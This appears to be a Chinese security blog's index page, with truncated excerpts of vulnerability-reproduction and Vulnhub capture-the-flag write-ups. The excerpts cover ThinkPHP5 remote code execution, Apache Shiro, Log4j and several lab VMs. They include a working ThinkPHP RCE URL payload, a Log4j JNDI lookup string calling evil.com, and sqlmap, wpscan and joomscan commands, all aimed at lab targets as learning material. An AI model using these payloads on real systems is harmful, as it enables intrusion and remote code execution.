漏洞复现-ThinkPHP5 5.0.22/5.1.29 远程代码执行漏洞
环境: vulhubThinkPHP5 5.0.22/5.1.29 远程代码执行漏洞ThinkPHP是一款运用极广的PHP开发框架。其版本5中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。
参考链接:
http://www.thinkphp.cn/topic/60400.html
http://www.thinkphp.cn/topic/60390.html
https://xz.aliyun.com/t/3570
漏洞环境运行ThinkPHP 5.0.20版本:
环境启动
网页
复现123http://your-ip:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1即可执行phpinfo:
漏洞成功利用
1http://192.168.169.233:8080/index.php?s=/Index ...
漏洞复现-Apache Shiro 认证绕过漏洞(CVE-2020-1957)
环境: vulhubApache Shiro 认证绕过漏洞(CVE-2020-1957)Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。
在Apache Shiro 1.5.2以前的版本中,在使用Spring动态控制器时,攻击者通过构造..;这样的跳转,可以绕过Shiro中对目录的权限限制。
参考链接:
https://github.com/apache/shiro/commit/3708d7907016bf2fa12691dff6ff0def1249b8ce#diff-98f7bc5c0391389e56531f8b3754081aL139
https://xz.aliyun.com/t/8281
https://blog.spoock.com/2020/05/09/cve-2020-1957/
环境搭建执行如下命令启动一个搭载Spring 2.2.2与Shiro 1.5.1的应用:
1docker-compose up -d
环境启动后,访问http://your-ip:8080即可查看首页 ...
漏洞复现-Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)
环境搭建: vulhubApache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)中文版本(Chinese version)
Apache Log4j 2 是Java语言的日志处理套件,使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过传入类似于${jndi:ldap://evil.com/example}的lookup用于进行JNDI注入,执行任意代码。
参考链接:
https://logging.apache.org/log4j/2.x/security.html
https://www.lunasec.io/docs/blog/log4j-zero-day/
https://xz.aliyun.com/t/10649
漏洞环境Apache Log4j2 不是一个特定的Web服务,而仅仅是一个第三方库,我们可以通过找到一些使用了这个库的应用来复现这个漏洞,比如Apache Solr。
执行如下命令启动一个Apache Solr 8.11.0,其依赖了Log4j 2.1 ...
漏洞复现-环境搭建
vulhub1https://github.com/vulhub/vulhub/blob/master/README.zh-cn.md
主要在docker环境搭建
漏洞类型展示
vulfocus在线版1https://vulfocus.cn/
docker搭建一、启动docker1systemctl start docker
二、拉取vulfocus镜像1docker pull vulfocus/vulfocus:latest
三、运行vulfocus1docker run -d -p 80:80 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP=192.168.169.330 vulfo
四、用户名admin 密码admin 进入
五、在镜像管理中管理自己的漏洞镜像
vulnhub-Clover
描述
信息收集存活
12靶机 192.168.169.230kali 192.168.169.220
靶机扫描
端口12345678PORT STATE SERVICE20/tcp closed ftp-data21/tcp open ftp22/tcp open ssh80/tcp open http110/tcp closed pop3443/tcp closed https8080/tcp closed http-proxy
访问 ...
Vulnhub-VulnCMS
存活
12kali 192.168.169.220 靶机 192.168.169.230
靶机扫描
122 80 5000 8081 9001
访问80
5000
8081
9001
12三个端口都是cms系统5000(Wordpress)、8081(Joomla)、和 9001(Drupal 7)
漏洞利用80
首先扫一下目录
文件目录
1发现两个疑似用户名:Mobley 和 Elloit,并且说了暴力破解没什么用。
5000 (Wordpress)
直接上wpscan扫描
1wpscan --url http://192.168.169.230:5000/ -e u,p
没什么有用的价值
8081 (Joomla)
使用Joomscan扫一下
1joomscan -u http://192.168.169.230:8081/
有个sql注入
开始注入1sqlmap -u "http://192.168.169.230:8081//index.php?option=com_contenthistory&view ...
linux提权辅助工具
linpeas.sh项目地址1https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS
下载地址1https://github.com/carlospolop/PEASS-ng/releases/tag/20221211
LinEnum.sh项目地址1https://github.com/rebootuser/LinEnum
linprivchecker.py项目地址1https://github.com/bdamele/miscellaneous
linux-exploit-suggester-2.pl1https://github.com/jondonas/linux-exploit-suggester-2
linux-exploitsuggester.sh1https://github.com/mzet-/linux-exploit-suggester
Vulnhub-IT’S OCTOBER: 1
描述
Name: It’s October: 1
Date release: 8 Apr 2020
Author: Akanksha Sachin Verma
Series: It’s October
Welcome to “It’s October”
This boot to root VM is designed for testing your pentesting skills and concepts. It consists of some well known things but it encourages you to use the functionalities rather than vulnerabilities of target.
Goal: Get the root flag of the target.
Difficulty: Easy/Medium Level
Need hints? Twitter @akankshavermasv
DHCP is enabled
Your feedback is really valuable for ...
Vulnhub-MONEYBOX: 1
描述
Name: MoneyBox: 1
Date release: 27 Feb 2021
Author: Kirthik_T
Series: MoneyBox
Difficulty : Easy
Goal : 3 flags
This works better with VirtualBox rather than VMware
存活
扫不到IP参考:
1https://putdown.top/archives/7051f480.html
把网卡改为ens33
12kali 192.168.169.220 靶机 192.168.169.232
靶机扫描
121 22 80
21
匿名登陆
发现图片先下载
80
扫一下目录
查看源代码
提示有个目录,访问
源代码
1这个key应该是图片解密要用到
图片解密
输入上面的key得到一个文件
1steghide extract -sf trytofind.jpg
1大概意思是 renu用户的密码太弱了 ,尝试爆破
ssh
提权
123ssh-rsa AAAAB3 ...
Vulnhub-Presidential
描述
Name: Presidential: 1
Date release: 28 Jun 2020
Author: Thomas Williams
Series: Presidential
Web page: https://security.caerdydd.wales/presidential-ctf/
The Presidential Elections within the USA are just around the corner (November 2020). One of the political parties is concerned that the other political party is going to perform electoral fraud by hacking into the registration system, and falsifying the votes.
The state of Ontario has therefore asked you (an independent penetration tester) ...